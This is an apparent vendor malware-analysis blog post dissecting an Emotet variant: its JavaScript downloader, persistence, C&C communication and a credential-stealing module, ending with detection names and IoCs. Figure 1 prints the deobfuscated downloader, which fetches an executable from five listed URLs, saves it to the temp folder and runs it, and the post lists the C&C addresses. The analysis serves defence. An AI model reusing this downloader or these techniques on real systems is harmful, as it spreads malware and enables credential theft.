

# Deep Analysis of New Emotet Variant – Part 1

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## Background

Last week, FortiGuard Labs captured a JS file that functions as a malware downloader to spread a new variant of the Emotet Trojan. Its original file name is *Invoice\_\_779\_\_Apr\_\_25\_\_2017\_\_lang\_\_gb\_\_GB779.js*. A JS file, as you may be aware, is a JavaScript file that can be executed by a Window Script Host (wscript.exe) simply by double-clicking on it. In this blog we will analyze how this new malware works by walking through it step by step in chronological order.

## A JS file used to spread malware

The original JS code is obfuscated, and therefore hard to understand. Based on my analysis, its task is to generate a new JS code into an array and execute it. The new code is easier to understand, as you can see in the code snippet in Figure 1. As I mentioned, it's a downloader tool that tries to download malware from five URLs onto the affected device. Once one download is finished, the malware is saved to the system temporary folder as "random name.exe" and executed.

```
function getData(callback)
{try{getDataFromUrl("http://willeberg.co.za/TwnZ36149pWAr/", function(result, error)
{if ( ! error){return callback(result, false); } else
{getDataFromUrl("http://meanconsulting.com/K44975X/", function(result, error)
{if ( ! error){return callback(result, false); } else
{getDataFromUrl("http://microtecno.com/i17281nfryG/", function(result, error)
{if ( ! error){return callback(result, false); } else
{getDataFromUrl("http://thefake.com/Y96158yeXR/", function(result, error)
{if ( ! error){return callback(result, false); } else
{getDataFromUrl("http://cdoprojectgraduation.com/eaSz15612O/", function(result, error)
{if ( ! error){return callback(result, false); } else
[.....]
function getDataFromUrl(url, callback)
{try{var xmlHttp = new XMLHttpRequest("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false); xmlHttp.send(); if (xmlHttp.status == 200)
{return callback(xmlHttp.ResponseBody, false); } else
{return callback(null, true); } } catch (error)
{return callback(null, true); } }
function getTempFilePath()
{try{ var fs = new XMLHttpRequest("Scripting.FileSystemObject");
var tmpFileName = "\\\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName; return tmpFilePath; } catch (error)
{return false; } }
function saveToTemp(data, callback)
{try
{var path = getTempFilePath(); if (path)
{var objStream = new XMLHttpRequest("ADODB.Stream"); objStream.Open(); objStream.Type = 1;
objStream.Write(data); objStream.Position = 0; objStream.SaveToFile(path, 2);
objStream.Close(); return callback(path, false); } else
{return callback(null, true); } } catch (error)
{return callback(null, true); } }

getData(function(data, error){if ( ! error){
saveToTemp(data, function(path, error){if( ! error)
{try{
var wsh = new XMLHttpRequest("WScript.Shell");
wsh.Run(path);
[.....]
```

Figure 1. Snippet of the generated JS code

## Running the downloaded exe file

While the downloaded exe file is executed, it moves itself to “%LocalAppData%\random name\random name.exe”. A random name for the file is generated using local file names. You can treat it as any random name, however, in my environment, the name is “LatnParams.exe”.

To protect itself, once LatnParams.exe is executed it extracts code from itself, inserts it into a newly-created LatnParams.exe by calling the CreateProcessW function with a CREATE\_SUSPENDED flag, and then restores the second process to run. Once that is complete, the first process exits. Later, the LatnParams.exe’s lnk file is created inside the Startup folder in the system Start Menu so it can automatically run whenever the system starts. See Figure 2.




Figure 2. Malware in Startup folder

### The main function of the second process

Next, we'll look to see how the code works inside the second process that is created. There is a hidden window created for the second process. Its WindowProc function is to handle all windows messages for the window. This malware uses a WM\_TIMER message to initiate it. Calling the SetTimer function can generate such a message.

Once this window is created, a WM\_CREATE message is sent to the WindowProc function, where it calls the SetTimer function to keep the system posting WM\_TIMER messages every 200ms and then callback the window's WindowProc function.

```

00402C49 _SetTimer:                ; CODE XREF: WindowProc+11↑j
00402C49                          ; WindowProc+63↑j ...
00402C49  push    0                      ; jumtable 00402BF5 default case
00402C4B  push    0C8h
00402C50  push    ds:dword_4185CC ; ;;Timer ID
00402C56  push    ebx
00402C57  call   ds:SetTimer
00402C5D
    
```

Figure 3. Call SetTimer Function

Next, we will examine this WindowProc function. Figure 4 is the structure of this function in pseudo code.

```

int __stdcall WindowProc(int a1, int a2, int a3, int a4)
{
    [.....]
case 6:
    sub_403A20(); // Collect victim system's information and encrypt.
    v17 = v6();
    dword_4185D0 = 7;
    dword_4185E0 = v17 + 2200;
    break;
case 7:
    if ( !sub_403AE0() ) // Communicate with C&C server.
        goto LABEL_23;
    dword_4185D0 = 8;
    dword_4185E0 = v6() + 2200;
    break;
case 8:
    if ( sub_403B30() ) // Decrypt the reply data from C&C server.
    {
        v20 = v6();
        dword_4185D0 = 9;
        dword_4185E0 = v20 + 2200;
    }
    else
    {
LABEL 23:
        v18 = dword_4185E8 + 1;
        if ( !CnC_Server_IP[2 * (dword_4185E8 + 1)] )// Get hard-coded C&C server IP(s)
            v18 = 0;
        dword_4185E8 = v18;
        v19 = v6();
        dword_4185D0 = 6;
        dword_4185E0 = v19 + 30000;
    }
    break;
case 9:
    sub_403BA0(); // Parse decrypted data from C&C server.
    v21 = v6();
    dword_4185D0 = 6;
    dword_4185E0 = v21 + 900000;
    break;
    [.....]
}

```

Figure 4. WindowProc Function

## Case 6 Code Branch

In the case 6 code branch, the malware collects system information from the affected device, including computer name, country name, the names of all running programs, and content about whether or not MS Office Outlook is installed. It then puts all the collected data together into a memory buffer and encrypts it. Figure 5 shows the data ready for encryption.

00634928	08	10	12	AA	03	0A	14	41	44	4D	49	4E	2D	50	43	5F	⌘⌘?. ADMIN-PC
00634938	55	53	5F	38	31	39	44	39	36	45	37	15	16	00	01	00	IS 819D96E7
00634948	1A	F8	02	5B	53	79	73	74	65	6D	20	50	72	6F	63	65	→?[System Proce
00634958	73	73	5D	2C	53	79	73	74	65	6D	2C	73	6D	73	73	2E	ss], System, smss.
00634968	65	78	65	2C	63	73	72	73	73	2E	65	78	65	2C	77	69	exe, csrss.exe, wi
00634978	6E	6C	6F	67	6F	6E	2E	65	78	65	2C	77	69	6E	69	6E	nlogon.exe, winin
00634988	69	74	2E	65	78	65	2C	73	65	72	76	69	63	65	73	2E	it.exe, services.
00634998	65	78	65	2C	6C	73	61	73	73	2E	65	78	65	2C	6C	73	exe, lsass.exe, ls
006349A8	6D	2E	65	78	65	2C	73	76	63	68	6F	73	74	2E	65	78	m.exe, svchost.ex
006349B8	65	2C	73	70	6F	6F	6C	73	76	2E	65	78	65	2C	73	72	e, spoolsv.exe, sr
006349C8	76	61	6E	79	2E	65	78	65	2C	4B	4D	53	65	72	76	69	vary.exe, KMServi
006349D8	63	65	2E	65	78	65	2C	63	6F	6E	68	6F	73	74	2E	65	ce.exe, conhost.e
006349E8	78	65	2C	73	70	70	73	76	63	2E	65	78	65	2C	77	6D	xe, sppsvc.exe, wm
006349F8	70	6E	65	74	77	6B	2E	65	78	65	2C	53	65	61	72	63	pnetwk.exe, Search
00634A08	68	49	6E	64	65	78	65	72	2E	65	78	65	2C	74	61	73	hIndexer.exe, tas
00634A18	6B	68	6F	73	74	2E	65	78	65	2C	64	77	6D	2E	65	78	khost.exe, dwm.ex
00634A28	65	2C	65	78	70	6C	6F	72	65	72	2E	65	78	65	2C	63	e, explorer.exe, c
00634A38	6D	64	2E	65	78	65	2C	74	61	73	6B	6D	67	72	2E	65	md.exe, taskmgr.e
00634A48	78	65	2C	72	65	67	65	64	69	74	2E	65	78	65	2C	69	xe, regedit.exe, i
00634A58	65	78	70	6C	6F	72	65	2E	65	78	65	2C	6E	6F	74	65	explore.exe, note
00634A68	70	61	64	2E	65	78	65	2C	61	75	64	69	6F	64	67	2E	pad.exe, audiodg.
00634A78	65	78	65	2C	4C	61	74	6E	50	61	72	61	6D	73	2E	65	exe, LatnParams.e
00634A88	78	65	2C	4F	6C	6C	79	44	42	47	2E	45	58	45	2C	53	xe, OllyDBG.EXE, S
00634A98	65	61	72	63	68	50	72	6F	74	6F	63	6F	6C	48	6F	73	earchProtocolHos
00634AA8	74	2E	65	78	65	2C	53	65	61	72	63	68	46	69	6C	74	t.exe, SearchFilt
00634AB8	65	72	48	6F	73	74	2E	65	78	65	2C	22	12	4D	69	63	erHost.exe, Micr
00634AC8	72	6F	73	6F	66	74	20	4F	75	74	6C	6F	6F	6B	00	00	rosoft Outlook..
00634AD8	F5	C5	D8	FA	F5	D9	00	00	E8	25	63	00	00	19	63	00	路俊藏..?c..tc.

Figure 5. Collected data from the victim’s system

As you can see, the first part is the computer name. Following “16 00 01 00” is the CPU information. The next part is the running process names, followed by the string “Microsoft Outlook,” which means that MS Office Outlook is installed on this machine. You may also notice that the debugger name “OllyDBG.exe” is also in the process name list. Through my analysis I found that the C&C server checks the process names. If it learns that a debugging-related tool (such as OllyDbg, WinDbg, IDA Pro, etc.) is being running on the victim’s machine, a different response is returned. In this case, it replies with a new version of itself, causing itself to upgrade again and again until those tools exit.

After encryption, it copies the encrypted data, the encryption key, and the hash value together into a new buffer. It then sets the next case number to 7 and exits the case 6 branch.

### Case 7 Code Branch

In the case 7 code branch the main function is to connect to the C&C server and send collected data to the server. It also receives data from the C&C server. We’ll take a look at how it works here.

The C&C server’s IP and port are hard-coded. In this version there are eleven, as shown below:

```
004175D0 ; DATA XREF: WindowProc+257r
```

004175D0 ;sub\_403AE0+Co

004175D0 dd 0D453A62Dh ;212.83.166.45

004175D4 dd 1F90h ;8080

004175D8 dd 0ADE68843h ;173.230.136.67

004175DC dd 1BBh ;443

004175E0 dd 0ADE0DA19h ;173.224.218.25

004175E4 dd 1BBh ;443

004175E8 dd 68E38922h ;104.227.137.34

004175EC dd 1BA8h ;7080

004175F0 dd 894AFE40h ;137.74.254.64

004175F4 dd 1F90h ;8080

004175F8 dd 0BCA5DCD6h ;188.165.220.214

004175FC dd 1F90h ;8080

00417600 dd 558FDDB4h ;85.143.221.180

00417604 dd 1BA8h ;7080

00417608 dd 77521BF6h ;119.82.27.246

0041760C dd 1F90h ;8080

00417610 dd 0C258F607h ;194.88.246.7

00417614 dd 1F90h ;8080

00417618 dd 0CED6DC4Fh ;206.214.220.79

0041761C dd 1F90h ;8080

00417620 dd 68EC02FDh ;104.236.2.253

00417624 dd 1BBh ;443

It gets the data generated in the case 6 branch and encodes it using base64. It then sends the base64-encoded data as a Cookie value to the C&C server. Figure 6 shows the data in Wireshark.




Figure 6. Send collected system information to C&C server

In Figure 6, the status of the response from C&C server is “404 Not Found.” This message is used to confuse analysts. The body, however, is the encrypted data. After receiving all data from the server, it sets the next case number to 8 and exits this branch.

## Case 8 Code Branch

The only thing done in the case 8 branch is decrypt the data received in case 7. It then exits this branch and sets the next case number to 9.

## Case 9 Code Branch

The case 9 branch is used to process the data decrypted in case 8. Figure 7 is a part of the pseudo code of case 9.

```
switch ( v8 )
{
  case 1u:
  case 2u:
    sub_403560(v9, v10); // upgrade itself.
    break;
  case 3u:
    sub_403660(v9, (unsigned int)v10 >> 1); // to download a file and execute it.
    break;
  case 4u:
    v5 = sub_401980(v9, v10);
    if ( v5 )
      CreateThread(0, 0, Thread_fun, v5, 0, 0); // load modules in thread functions.
    break;
  case 5u:
    sub_402650();
    sub_4026F0();
    break;
  default:
    continue;
}
```

Figure 7. Pseudo code of case 9

There are some sub-cases in the case 9 branch. The case number “v8” comes from decrypted data. Following are two examples of the decrypted data.

In Figure 8, “08 01” is about a sub-case. “08” is a kind of flag or C&C command, and “01” refers to sub-case number 1. As you may know, the following data is an .exe file. In the sub-case 1 branch, this file is executed to upgrade the Emotet malware. Usually, it receives an upgrade command because the C&C server has detected that there is debugging-related tool in the running program names. It’s a way to both protect itself against debugging and confuse analysts. In sub-case 1 branch, it saves the .exe file into a system temporary folder and runs it by calling the ShellExecuteW function. Meanwhile, the parent process exits to finish the upgrade.




Figure 8. Sub-case 1 example




Figure 9. Sub-case 4 example

I manually modified the “OllyDBG.exe” to another program name before encryption (refer back to Figure 5). Then I was able to get the response shown in Figure 9. The flag changes to “08 04”, where “04” means sub-case number 4. In my analysis, it contains 3 modules (.dll files) in the decrypted data. The flags for all of them are “08 04”. Which means the modules are all processed in the sub-case 4 branch. As you can see in Figure 7, the sub-case 4 calls the CreateThread function to create threads and run the modules in the ThreadFunction, with one thread for one module.

So far, we have only finished the analysis of one of the three Emotet modules. We are still working on analyzing the others, and will share that analysis in another blog.

So next, let's take a look at what this module is able to do.

## The module loaded in a thread

Based on my analysis, this module steals credential information from a victim's machine. It then encrypts that stolen data and sends it to the C&C server.

When this module is loaded in the ThreadFunction, it inserts the code extracted from itself into a newly-created LathParams.exe process to run. The newly-created process has a command line parameter like "%temp%\A98b.tmp". This is a temporary file used to save the stolen credential information.

It is able to steal credentials for Google accounts, FTP accounts saved in IE, Google Talk, Office Outlook, IncrediMail, Group Mail, MSN Messenger, Mozilla Thunderbird, and many others. The following screenshot shows some of them.




Figure 10. Targeted email-related credentials

For testing purposes, I added a test account into MS Office Outlook to see how it works. The account profile is shown here in Figure 11:




Figure 11. Test account added into Outlook

The stolen credential data is saved in the temporary file specified in the command line parameter, where it will be encrypted and sent to the C&C server in the ThreadFunction. In the following several figures you can see the stolen credential information in the temporary file, the data in memory before encryption, and the data sent to the C&C server.




Figure 12. Stolen credential



## Solution

The original JS file has been detected as **JS/Nemucod.F436!tr** and the downloaded Emotet exe has been detected as **W32/GenKryptik.ADJR!tr** by the FortiGuard Antivirus service.

## IoC

### URL:

"hxxp://willeberg.co.za/TwnZ36149pKUsr/"

"hxxp://meanconsulting.com/K44975X/"

"hxxp://microtecno.com/i17281nfryG/"

"hxxp://thefake.com/Y96158yeXR/"

"hxxp://cdoprojectgraduation.com/eaSz15612O/"

### Sample SHA256:

Invoice\_\_779\_\_Apr\_\_25\_\_2017\_\_lang\_\_gb\_\_GB779.js

B392E93A5753601DB564E6F2DC6A945AAC3861BC31E2C1E5E7F3CD4E5BB150A4

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Source: <http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1>